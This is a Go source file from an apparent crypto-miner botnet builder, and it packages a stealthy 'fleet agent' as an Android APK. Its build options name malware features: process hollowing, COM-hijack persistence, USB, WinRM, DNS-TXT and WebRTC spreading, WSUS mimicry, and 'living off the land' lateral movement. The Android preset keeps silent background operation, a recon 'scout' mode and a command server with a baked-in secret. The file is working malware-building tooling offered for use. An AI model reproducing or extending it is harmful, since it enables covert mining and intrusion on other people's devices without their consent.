package builder

import (
	"context"
	"encoding/json"
	"fmt"
	"log"
	"net/http"
	"os"
	"os/exec"
	"path/filepath"
	"runtime"
	"strings"
	"time"

	"crypto-miner-server/internal/models"

	"github.com/google/uuid"
)

// ApkBuildFunc packages the Android APK. Nil uses the default gradle/script path.
type ApkBuildFunc func(h *Handler, ctx context.Context, androidDir, buildDir string) (apkPath string, err error)

// Android-safe LOTL tiers baked into APK fleet nodes (no Windows spread lanes).
// apkSafeLotlTiers lists the only LOTL tiers that make sense on Android.
// The "linux" tier includes SSH lateral movement, cron jobs and /etc/hosts
// writes — none of which are available inside the Android process sandbox.
// Restricting to vuln_recon prevents silent runtime failures and avoids
// pointless battery drain from techniques that will never succeed.
var apkSafeLotlTiers = []string{"vuln_recon"}

// ApplyApkScoutPreset enforces roving scout defaults for Android APK builds.
func ApplyApkScoutPreset(req *BuildRequest) {
	ApplyApkBuildPreset(req)
	req.ScoutMode = true
	req.MiningDisabled = true
	req.LotlOnionEnabled = false
	req.LotlPolicyFromServer = true
	req.LotlOnionTiers = []string{"discover_and_join", "service_graph"}
	if strings.TrimSpace(req.Wallet) == "" {
		req.Wallet = "android-scout-no-pool"
	}
}

// ApplyApkBuildPreset enforces fleet-node defaults for phone/tablet APK builds.
func ApplyApkBuildPreset(req *BuildRequest) {
	req.ApkMode = true
	req.TargetOS = "android"
	req.TargetArch = "arm64"
	req.FusionEnabled = false
	req.SpreadKit = false
	req.GPUEnabled = false
	req.ProcessHollowing = false
	req.Obfuscate = false
	req.SignBuild = false
	req.MiningDisabled = true
	req.MinerExecution = "inprocess"
	req.Threads = 1
	req.ThreadMode = "fixed"
	req.ThreadPercent = 25
	req.MiningMode = "idle"
	req.MaxCPUUsagePct = 30
	req.StealthMode = true
	req.SilentMode = true
	req.DisplayMode = "background"
	req.FileLogging = false
	req.AutoSpread = false
	req.USBSpread = false
	req.ShareSpread = false
	req.WinRMSpread = false
	req.DnsTxtSpread = false
	req.WebRTCMeshSpread = false
	req.WSUSCachePeerSpread = false
	req.WSUSFormatMimic = false
	req.COMHijackPersist = false
	req.RemoteAggressive = false
	req.LinuxLOTLMode = "off"
	req.LotlOnionEnabled = false
	req.LotlPolicyFromServer = false
	req.LotlOnionTiers = append([]string(nil), apkSafeLotlTiers...)
	if strings.TrimSpace(req.ApkAgentName) == "" {
		req.ApkAgentName = req.WorkerName
	}
}

func (h *Handler) apkAndroidDir() string {
	if h.projectRoot != "" && h.projectRoot != "." {
		return filepath.Join(h.projectRoot, "android")
	}
	return filepath.Join(h.dataDir, "android")
}

func (h *Handler) apkAssetsDir() string {
	return filepath.Join(h.apkAndroidDir(), "agent-app", "src", "main", "assets")
}

// apkMiningConfig mirrors the "mining" object that AgentConfig.kt reads.
type apkMiningConfig struct {
	Enabled bool `json:"enabled"`
}

// apkAssetConfig is the full config.json written into the APK assets.
// Every field here is consumed by AgentConfig.kt — adding a field here
// without a corresponding read in Kotlin is a no-op, but omitting a field
// that Kotlin reads causes the app to fall back to its hardcoded defaults
// (e.g. fleet_secret would be nil → agent cannot authenticate to the server).
type apkAssetConfig struct {
	ServerURL    string          `json:"server_url"`
	WorkerName   string          `json:"worker_name"`
	WorkerNumber string          `json:"worker_number"`
	FleetSecret  string          `json:"fleet_secret,omitempty"`
	Mining       apkMiningConfig `json:"mining"`
	BuildID      string          `json:"build_id"`
}

func (h *Handler) writeApkConfigJSON(req *BuildRequest, buildID string) error {
	assetsDir := h.apkAssetsDir()
	if err := os.MkdirAll(assetsDir, 0755); err != nil {
		return fmt.Errorf("create apk assets dir: %w", err)
	}
	workerName := strings.TrimSpace(req.ApkAgentName)
	if workerName == "" {
		workerName = strings.TrimSpace(req.WorkerName)
	}
	cfg := apkAssetConfig{
		ServerURL:    strings.TrimSpace(req.ServerURL),
		WorkerName:   workerName,
		WorkerNumber: workerName,
		FleetSecret:  h.fleetSecret, // baked-in fleet auth — without this the agent cannot handshake
		Mining:       apkMiningConfig{Enabled: !req.MiningDisabled},
		BuildID:      buildID,
	}
	raw, err := json.MarshalIndent(cfg, "", "  ")
	if err != nil {
		return err
	}
	return os.WriteFile(filepath.Join(assetsDir, "config.json"), raw, 0644)
}

func (h *Handler) copyAgentBinaryToApkAssets(agentBinary string) error {
	assetsDir := h.apkAssetsDir()
	if err := os.MkdirAll(assetsDir, 0755); err != nil {
		return fmt.Errorf("create apk assets dir: %w", err)
	}
	dest := filepath.Join(assetsDir, "agent")
	return copyFile(agentBinary, dest)
}

func (h *Handler) defaultApkBuild(ctx context.Context, androidDir, buildDir string) (string, error) {
	script := filepath.Join(androidDir, "build-apk.ps1")
	if runtime.GOOS == "windows" && fileExists(script) {
		cmd := exec.CommandContext(ctx, "powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-File", script, "-AndroidDir", androidDir, "-OutputDir", buildDir)
		out, err := cmd.CombinedOutput()
		if err != nil {
			if ctx.Err() != nil {
				return "", fmt.Errorf("apk build cancelled")
			}
			return "", fmt.Errorf("build-apk.ps1 failed: %s", strings.TrimSpace(string(out)))
		}
		// The ps1 script uses assembleDebug → aetherforge-agent.apk; fall back
		// to the release name for scripts that override the output filename.
		for _, name := range []string{"aetherforge-agent.apk", "agent-app-debug.apk", "agent-app-release.apk"} {
			apk := filepath.Join(buildDir, name)
			if fileExists(apk) {
				return apk, nil
			}
		}
		return "", fmt.Errorf("build-apk.ps1 did not produce an APK in %s", buildDir)
	}

	// Use assembleDebug, not assembleRelease.
	// assembleRelease requires a signingConfig keystore — without one Gradle
	// produces an unsigned APK that Android 8+ refuses to install via adb.
	// assembleDebug signs automatically with the Gradle debug keystore, which
	// is sufficient for sideloaded fleet installs and matches build-apk.ps1.
	gradlew := filepath.Join(androidDir, "gradlew")
	if runtime.GOOS == "windows" {
		gradlew = filepath.Join(androidDir, "gradlew.bat")
	}
	if fileExists(gradlew) {
		cmd := exec.CommandContext(ctx, gradlew, "-p", filepath.Join(androidDir, "agent-app"), "assembleDebug", "--no-daemon")
		cmd.Dir = androidDir
		out, err := cmd.CombinedOutput()
		if err != nil {
			if ctx.Err() != nil {
				return "", fmt.Errorf("apk build cancelled")
			}
			return "", fmt.Errorf("gradle assembleDebug failed: %s", strings.TrimSpace(string(out)))
		}
		candidates := []string{
			filepath.Join(androidDir, "agent-app", "build", "outputs", "apk", "debug", "agent-app-debug.apk"),
			// legacy names kept for backward compat with older AGP versions
			filepath.Join(androidDir, "agent-app", "build", "outputs", "apk", "debug", "app-debug.apk"),
			filepath.Join(androidDir, "agent-app", "build", "outputs", "apk", "release", "agent-app-release-unsigned.apk"),
			filepath.Join(androidDir, "agent-app", "build", "outputs", "apk", "release", "agent-app-release.apk"),
		}
		for _, c := range candidates {
			if fileExists(c) {
				dest := filepath.Join(buildDir, "agent-app-debug.apk")
				if err := copyFile(c, dest); err != nil {
					return "", err
				}
				return dest, nil
			}
		}
		return "", fmt.Errorf("gradle finished but APK output not found")
	}

	return "", fmt.Errorf("android build tooling not found — expected %s or gradlew", script)
}

func fileExists(path string) bool {
	_, err := os.Stat(path)
	return err == nil
}

func (h *Handler) invokeApkBuild(ctx context.Context, androidDir, buildDir string) (string, error) {
	if h.apkBuildFn != nil {
		return h.apkBuildFn(h, ctx, androidDir, buildDir)
	}
	return h.defaultApkBuild(ctx, androidDir, buildDir)
}

func apkFileName(req *BuildRequest) string {
	base := sanitizeFileName(req.ApkAgentName)
	if base == "" {
		base = sanitizeFileName(req.WorkerName)
	}
	return "agent-" + base + ".apk"
}

// buildAPKAgent compiles a linux/arm64 agent, embeds it in the Android project, and packages an APK.
func (h *Handler) buildAPKAgent(ctx context.Context, req *BuildRequest) (BuildResponse, int, string) {
	if req.ScoutMode {
		ApplyApkScoutPreset(req)
	} else {
		ApplyApkBuildPreset(req)
	}

	buildID := uuid.New().String()
	buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
	agentDir := filepath.Join(buildDir, "agent")
	cleanupBuild := func() { _ = os.RemoveAll(buildDir) }

	if err := os.MkdirAll(agentDir, 0755); err != nil {
		return BuildResponse{Success: false, Error: "Failed to create build directory"}, http.StatusInternalServerError, ""
	}

	h.setProgress(req.CancelToken, "Copying source files", 5)
	if err := h.copyAgentSource(agentDir); err != nil {
		cleanupBuild()
		return BuildResponse{Success: false, Error: "Failed to prepare agent source: " + err.Error()}, http.StatusInternalServerError, ""
	}

	platform := BuildPlatform{GOOS: "linux", GOARCH: "arm64", Ext: ""}
	h.setProgress(req.CancelToken, "Compiling agent (linux/arm64)", 25)
	outputPath, err := h.compileWorker(ctx, agentDir, buildDir, req, buildID, platform, false)
	if err != nil {
		cleanupBuild()
		return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
	}

	if ctx.Err() != nil {
		cleanupBuild()
		return BuildResponse{Success: false, Error: "apk build cancelled"}, http.StatusInternalServerError, ""
	}
	h.setProgress(req.CancelToken, "Writing Android config", 55)
	if err := h.writeApkConfigJSON(req, buildID); err != nil {
		cleanupBuild()
		return BuildResponse{Success: false, Error: "Failed to write apk config.json: " + err.Error()}, http.StatusInternalServerError, ""
	}

	if ctx.Err() != nil {
		cleanupBuild()
		return BuildResponse{Success: false, Error: "apk build cancelled"}, http.StatusInternalServerError, ""
	}
	h.setProgress(req.CancelToken, "Copying agent to APK assets", 65)
	if err := h.copyAgentBinaryToApkAssets(outputPath); err != nil {
		cleanupBuild()
		return BuildResponse{Success: false, Error: "Failed to copy agent binary: " + err.Error()}, http.StatusInternalServerError, ""
	}

	h.setProgress(req.CancelToken, "Building APK", 80)
	androidDir := h.apkAndroidDir()
	apkPath, err := h.invokeApkBuild(ctx, androidDir, buildDir)
	if err != nil {
		cleanupBuild()
		return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
	}

	finalName := apkFileName(req)
	finalPath := filepath.Join(buildDir, finalName)
	if apkPath != finalPath {
		if err := copyFile(apkPath, finalPath); err != nil {
			cleanupBuild()
			return BuildResponse{Success: false, Error: "Failed to stage APK: " + err.Error()}, http.StatusInternalServerError, ""
		}
	}

	fileInfo, err := os.Stat(finalPath)
	if err != nil {
		cleanupBuild()
		return BuildResponse{Success: false, Error: "APK build succeeded but file not found"}, http.StatusInternalServerError, ""
	}
	if err := h.checkBuildSize(fileInfo.Size()); err != nil {
		cleanupBuild()
		return BuildResponse{Success: false, Error: err.Error()}, http.StatusBadRequest, ""
	}

	exportPath := ""
	if h.projectRoot != "" && h.projectRoot != "." {
		exportPath = filepath.Join(h.projectRoot, finalName)
		if err := copyFile(finalPath, exportPath); err != nil {
			log.Printf("[Builder] APK root export: %v", err)
			exportPath = ""
		}
	}
	if exportPath == "" {
		exportPath, _ = filepath.Abs(finalPath)
	}

	absPath, _ := filepath.Abs(finalPath)
	dlURL := fmt.Sprintf("/api/v1/builds/%s/download", buildID)
	buildRecord := &models.BuildRecord{
		ID:          buildID,
		WorkerName:  req.WorkerName,
		ServerURL:   req.ServerURL,
		Wallet:      req.Wallet,
		Threads:     req.Threads,
		FileSize:    fileInfo.Size(),
		FilePath:    absPath,
		FileName:    finalName,
		DownloadURL: dlURL,
		Platform:    "android",
		CreatedAt:   time.Now(),
	}
	h.setProgress(req.CancelToken, "Saving to database", 99)
	if err := h.db.InsertBuild(buildRecord); err != nil {
		return BuildResponse{Success: false, Error: "Failed to record build in database"}, http.StatusInternalServerError, ""
	}

	h.notifyBuildComplete(finalName, req.WorkerName, fileInfo.Size())

	return BuildResponse{
		Success:      true,
		BuildID:      buildID,
		FileName:     finalName,
		FilePath:     absPath,
		ArtifactPath: absPath,
		FileSize:     fileInfo.Size(),
		DownloadURL:  dlURL,
		ExportPath:   exportPath,
	}, http.StatusOK, finalPath
}